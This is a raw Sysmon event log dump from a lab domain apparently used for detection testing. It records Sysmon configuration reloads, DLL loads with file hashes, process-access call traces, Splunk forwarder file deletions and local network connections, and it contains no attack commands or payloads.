Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=68579175F8C1EFF8B5F145DCEFDB8AB3,SHA256=983F4666FB7322D27073C4280DC069DE1B02C47E1FAADB5F08BC38B4171FA84A,IMPHASH=00000000000000000000000000000000falsetrue 734700x800000000000000048556Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:57:58.305{7BD73061-7276-613B-490B-00000000F001}4144C:\Program Files\ansible\sysmon\Sysmon64.exeC:\Windows\System32\ntmarta.dll10.0.14393.0 (rs1_release.160715-1616)Windows NT MARTA providerMicrosoft® Windows® Operating SystemMicrosoft Corporationntmarta.dllMD5=854A3CAE7C97B630158C9F7EE8555970,SHA256=20F0A4D99C5095A0CAC39B816BFC987F64CD051843C79E027714666375986176,IMPHASH=98050D95AE15C8382F287539F2BF65FAtrueMicrosoft WindowsValid 734700x800000000000000048555Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:57:58.243{7BD73061-7276-613B-490B-00000000F001}4144C:\Program Files\ansible\sysmon\Sysmon64.exeC:\Windows\WinSxS\amd64_microsoft.windows.common-controls_6595b64144ccf1df_5.82.14393.2457_none_a13eaee9d8fd5c07\comctl32.dll5.82 (rs1_release_inmarket.180822-1743)Common Controls LibraryMicrosoft® Windows® Operating SystemMicrosoft CorporationCOMCTL32.DLLMD5=C89866876D676708892DEEA04A886CDA,SHA256=6C498F9AFFC75DFAADDACB9D1D4248862622FB2B06F0A410BA303A26FEADFF2B,IMPHASH=49FE37530A5C395ADDDAFC2730B16DDDtrueMicrosoft WindowsValid 734700x800000000000000048554Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:57:58.227{7BD73061-7276-613B-490B-00000000F001}4144C:\Program Files\ansible\sysmon\Sysmon64.exeC:\Windows\System32\msasn1.dll10.0.14393.0 (rs1_release.160715-1616)ASN.1 Runtime APIsMicrosoft® Windows® Operating SystemMicrosoft Corporationmsasn1.dllMD5=299464D218A27B56684B715365D149FE,SHA256=2BFE4014E06552A9D4201EF9D1C605694AAF2B7B811265EFD91FC6D1C2D48242,IMPHASH=B6562243FBF394F03046E917C719260FtrueMicrosoft WindowsValid 734700x800000000000000048553Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:57:58.227{7BD73061-7276-613B-490B-00000000F001}4144C:\Program Files\ansible\sysmon\Sysmon64.exeC:\Windows\System32\crypt32.dll10.0.14393.4350 (rs1_release.210407-2154)Crypto API32Microsoft® Windows® Operating SystemMicrosoft CorporationCRYPT32.DLLMD5=95BA70CFA8087A209500D7D350BF3A59,SHA256=4265157E8DC2A0E32A6328D54181CC31FD24E3017E60B270623C2CDBE5FAB4FA,IMPHASH=5BAA515B293A764CA06512D078C4E624trueMicrosoft WindowsValid 13241300x800000000000000048552Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:57:58.321{7BD73061-7276-613B-490B-00000000F001}4144C:\Program Files\ansible\sysmon\Sysmon64.exeHKLM\System\CurrentControlSet\Services\SysmonDrv\Parameters\ConfigHashSHA256=C2773A210D80C272F27792B2BA323EE3DD7A68B7474F7C222B00DC7FE517CF4F 13241300x800000000000000048551Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:57:58.321{7BD73061-7276-613B-490B-00000000F001}4144C:\Program Files\ansible\sysmon\Sysmon64.exeHKLM\System\CurrentControlSet\Services\SysmonDrv\Parameters\ConfigFileC:\Program Files\ansible\AttackRangeSysmon.xml 16341600x800000000000000048550Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local2021-09-10 14:57:58.321C:\Program Files\ansible\AttackRangeSysmon.xmlSHA256=C2773A210D80C272F27792B2BA323EE3DD7A68B7474F7C222B00DC7FE517CF4F 13241300x800000000000000048549Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:57:58.321{7BD73061-7276-613B-490B-00000000F001}4144C:\Program Files\ansible\sysmon\Sysmon64.exeHKLM\System\CurrentControlSet\Services\SysmonDrv\Parameters\RulesBinary Data 13241300x800000000000000048548Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:57:58.305{7BD73061-7276-613B-490B-00000000F001}4144C:\Program Files\ansible\sysmon\Sysmon64.exeHKLM\System\CurrentControlSet\Services\SysmonDrv\Parameters\DnsLookupBinary Data 13241300x800000000000000048547Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:57:58.305{7BD73061-7276-613B-490B-00000000F001}4144C:\Program Files\ansible\sysmon\Sysmon64.exeHKLM\System\CurrentControlSet\Services\SysmonDrv\Parameters\CheckRevocationBinary Data 13241300x800000000000000048546Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:57:58.305{7BD73061-7276-613B-490B-00000000F001}4144C:\Program Files\ansible\sysmon\Sysmon64.exeHKLM\System\CurrentControlSet\Services\SysmonDrv\Parameters\HashingAlgorithmDWORD (0x8000000e) 13241300x800000000000000048545Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:57:58.305{7BD73061-7276-613B-490B-00000000F001}4144C:\Program Files\ansible\sysmon\Sysmon64.exeHKLM\System\CurrentControlSet\Services\SysmonDrv\Parameters\OptionsDWORD (0x00000007) 12241200x800000000000000048544Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-DeleteValue2021-09-10 14:57:58.305{7BD73061-7276-613B-490B-00000000F001}4144C:\Program Files\ansible\sysmon\Sysmon64.exeHKLM\System\CurrentControlSet\Services\SysmonDrv\Parameters\Rules 12241200x800000000000000048543Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-DeleteValue2021-09-10 14:57:58.305{7BD73061-7276-613B-490B-00000000F001}4144C:\Program Files\ansible\sysmon\Sysmon64.exeHKLM\System\CurrentControlSet\Services\SysmonDrv\Parameters\DnsLookup 12241200x800000000000000048542Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-DeleteValue2021-09-10 14:57:58.305{7BD73061-7276-613B-490B-00000000F001}4144C:\Program Files\ansible\sysmon\Sysmon64.exeHKLM\System\CurrentControlSet\Services\SysmonDrv\Parameters\CheckRevocation 12241200x800000000000000048541Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-DeleteValue2021-09-10 14:57:58.305{7BD73061-7276-613B-490B-00000000F001}4144C:\Program Files\ansible\sysmon\Sysmon64.exeHKLM\System\CurrentControlSet\Services\SysmonDrv\Parameters\HashingAlgorithm 12241200x800000000000000048540Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-DeleteValue2021-09-10 14:57:58.305{7BD73061-7276-613B-490B-00000000F001}4144C:\Program Files\ansible\sysmon\Sysmon64.exeHKLM\System\CurrentControlSet\Services\SysmonDrv\Parameters\Options 10341000x800000000000000048539Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:57:58.243{7BD73061-65B2-613B-1400-00000000F001}3402296C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x100000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\cryptsvc.dll+6124|c:\windows\system32\cryptsvc.dll+5e34|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048538Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:57:58.213{7BD73061-7099-613B-0F0B-00000000F001}69925176C:\Windows\system32\conhost.exe{7BD73061-7276-613B-490B-00000000F001}4144C:\Program Files\ansible\sysmon\Sysmon64.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048537Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:57:58.213{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048536Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:57:58.213{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048535Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:57:58.213{7BD73061-6D0B-613B-7F06-00000000F001}36605244C:\Windows\system32\csrss.exe{7BD73061-7276-613B-490B-00000000F001}4144C:\Program Files\ansible\sysmon\Sysmon64.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000048534Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:57:58.213{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048533Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:57:58.213{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048532Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:57:58.213{7BD73061-7099-613B-0E0B-00000000F001}66406660C:\Windows\system32\cmd.exe{7BD73061-7276-613B-490B-00000000F001}4144C:\Program Files\ansible\sysmon\Sysmon64.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\system32\cmd.exe+f1e1|C:\Windows\system32\cmd.exe+11a37|C:\Windows\system32\cmd.exe+cb0d|C:\Windows\system32\cmd.exe+c295|C:\Windows\system32\cmd.exe+1ace3|C:\Windows\system32\cmd.exe+1510d|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000048531Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:57:58.173{7BD73061-7276-613B-490B-00000000F001}4144C:\Program Files\ansible\sysmon\Sysmon64.exe13.01System activity monitorSysinternals SysmonSysinternals - www.sysinternals.com-Sysmon64.exe -c "C:\Program Files\ansible\AttackRangeSysmon.xml"C:\Program Files\ansible\sysmon\ATTACKRANGE\Administrator{7BD73061-6D0D-613B-08AC-390000000000}0x39ac082HighMD5=8A914CFB7496B8461285C009DD8F5627,SHA256=422EC998FED690C2EC3239A4BB80075F098A9A95CBDFFBC873365B9F7136A02A,IMPHASH=DCF866F4139DD7FF6C0A5D4FA050CD7A{7BD73061-7099-613B-0E0B-00000000F001}6640C:\Windows\System32\cmd.exe"cmd.exe" /s /k pushd "C:\Program Files\ansible\sysmon" 23542300x800000000000000016305Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:59.744{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=96047CBD996C683A25C2A237CC35BF66,SHA256=B9B887EBF797AEFE5F1A04A4D78C692A91BBE5D951D01128EDC05E8B22C6F98A,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048560Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:57:59.477{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=EBCCC7F892ACE6FC6F2971A0A9F0E600,SHA256=C01BE3D2A8D5EE50B31180DF34ED34A3973635225954379E22D91B3B56461C6D,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000016304Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:58.457{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50281-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000048559Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:57:59.180{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=F2B1182176F7FE7ABE68E1E864638581,SHA256=BA09DD2AD3DC77D72B495DBE9600404B14C7BFB45CA6E051EF255CCCE050E0FF,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048558Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:57:59.180{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=C379598AE69DF9D3759EE4F2745E2C52,SHA256=CD48352D200F1B449B8BAF72C94FB257241B7CFBB7915C36864A9AA4DF45F82C,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000016306Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:00.744{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=BFE87AB57D78A0E553A84C55B81E00C8,SHA256=026119991C577222DDB41BE0EA98B81B4931C9854382C399CF34F9B877A6544F,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000048563Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:57:57.644{7BD73061-65B0-613B-0B00-00000000F001}620C:\Windows\System32\lsass.exeNT AUTHORITY\SYSTEMtcpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local59484-true0:0:0:0:0:0:0:1win-dc-387.attackrange.local389ldap 354300x800000000000000048562Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:57:57.643{7BD73061-65BF-613B-2700-00000000F001}2852C:\Windows\ADWS\Microsoft.ActiveDirectory.WebServices.exeNT AUTHORITY\SYSTEMtcptruetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local59484-true0:0:0:0:0:0:0:1win-dc-387.attackrange.local389ldap 23542300x800000000000000048561Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:00.493{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=7ADE33FFAA1BEE26E810C7BC5FC0116A,SHA256=6C5B3B78CD8F5BA9920B014A51969F7EDABE01B06E4B24650FE256FF81619A64,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000016307Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:01.854{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=BF82C744229A02500FCBCAD82C4DD7DC,SHA256=CE0FBA045574CC0E98696C3CD12A48C5C9A680F81C68DE4A8C03095CDC5D3640,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048564Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:01.524{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=D79DCD0456AF636CBCEDB98971D24239,SHA256=01E25A408D4F3EE2790C60B56460A137A572638AE9CCA57D0455F5C1BC42C7D0,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000016310Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:02.869{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=77E0EBD32CBD7F436264C840B31C8DEC,SHA256=B44D5F7CE739867FE909ECEAD86312B51CEC60D3D202A022C53D2A47C33A424B,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000048566Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:57:59.439{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59485-false10.0.1.12-8000- 23542300x800000000000000048565Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:02.618{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=9D5452A96F070CE94F66DE881C777374,SHA256=7529D4F15259BBFAE9E1FC006F10B45956CFB1FAE610E353EA5E223361B4DA47,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000016309Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:02.604{625C326B-67ED-613B-0B00-00000000F101}628716C:\Windows\system32\lsass.exe{625C326B-67EA-613B-0100-00000000F101}4System0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\system32\kerberos.DLL+96ef2|C:\Windows\system32\kerberos.DLL+793e4|C:\Windows\system32\kerberos.DLL+1443f|C:\Windows\system32\lsasrv.dll+2d211|C:\Windows\system32\lsasrv.dll+2b3d4|C:\Windows\system32\lsasrv.dll+30929|C:\Windows\system32\lsasrv.dll+2e287|C:\Windows\system32\lsasrv.dll+2d211|C:\Windows\system32\lsasrv.dll+15ded|C:\Windows\SYSTEM32\SspiSrv.dll+1a96|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e 23542300x800000000000000016308Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:02.291{625C326B-67EE-613B-1200-00000000F101}300NT AUTHORITY\LOCAL SERVICEC:\Windows\System32\svchost.exeC:\Windows\ServiceProfiles\LocalService\AppData\Local\lastalive1.datMD5=ABF229379EC92141E6B69E597417A755,SHA256=D8E889B83F058B186791014ED3FD6E78199AF3BC2BA369C2A74E5262954AD217,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000016311Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:03.885{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=27F380A32F555CE0DA2EF2DB62FC35C3,SHA256=A05776819BCC6A19DACB919CD7EE8F5D6C8097FE01454A733653EF6445082CAC,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000048821Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.962{7BD73061-6D0F-613B-9406-00000000F001}44803940C:\Windows\Explorer.EXE{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\SHELL32.dll+618b4|C:\Windows\System32\SHELL32.dll+62390|C:\Windows\System32\TwinUI.dll+f54e1|C:\Windows\System32\TwinUI.dll+f5d4f|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048820Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.962{7BD73061-6D0F-613B-9406-00000000F001}44803940C:\Windows\Explorer.EXE{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE0x1410C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\TwinUI.dll+f5319|C:\Windows\System32\TwinUI.dll+f5d4f|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000048819Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.915{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=75237F54ECD300132DDAC5BD2E211CCF,SHA256=AA6BCDA78B1403D3053A567345993818ACB99A16E19C17DDEA07ECB9319F4444,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000048818Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.915{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=98C76727DB49D35702A6F56598884A98,SHA256=ABB47D6BC16152A4AEF84B4E62FE682BECC7582B02301BE93FF4963B64F17649,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000048817Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.915{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=20D2289115F46AC415ADF806CE7DA963,SHA256=1BBF9158771B33DB4545F63955ABB64A866CFB96C67251694A2EDCED960AD234,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 734700x800000000000000048816Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.868{7BD73061-727B-613B-4C0B-00000000F001}5184C:\Windows\System32\sppsvc.exeC:\Windows\System32\cryptbase.dll10.0.14393.0 (rs1_release.160715-1616)Base cryptographic API DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptbase.dllMD5=51FCB0FDEFCB9A3E4A1DC8C8673BC63C,SHA256=63A0E1A76B7ABCF56E44B548568649FFB6B5609402746D48A4DC77CCED20F5FE,IMPHASH=9E9C9DFD04CDDF2B6F1412BF096AEAF4trueMicrosoft WindowsValid 734700x800000000000000048815Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 